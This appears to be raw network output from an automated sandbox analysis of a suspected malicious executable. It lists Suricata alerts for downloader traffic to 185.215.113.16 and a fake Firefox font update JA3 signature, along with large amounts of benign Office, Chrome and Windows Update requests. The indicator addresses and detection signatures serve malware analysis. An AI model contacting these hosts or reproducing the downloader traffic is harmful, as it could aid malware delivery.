Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:61060 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61068 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61071 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:61070 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61073 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:61075 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61076 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61081 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61082 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61084 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:61085 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61086 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61087 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61089 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:61092 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:55115 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:55113 -> 188.114.97.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFBCC60 PR_Recv,

0_2_6CFBCC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=U4d3clUP7Mz9V6w&MD=dgcXYhlg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
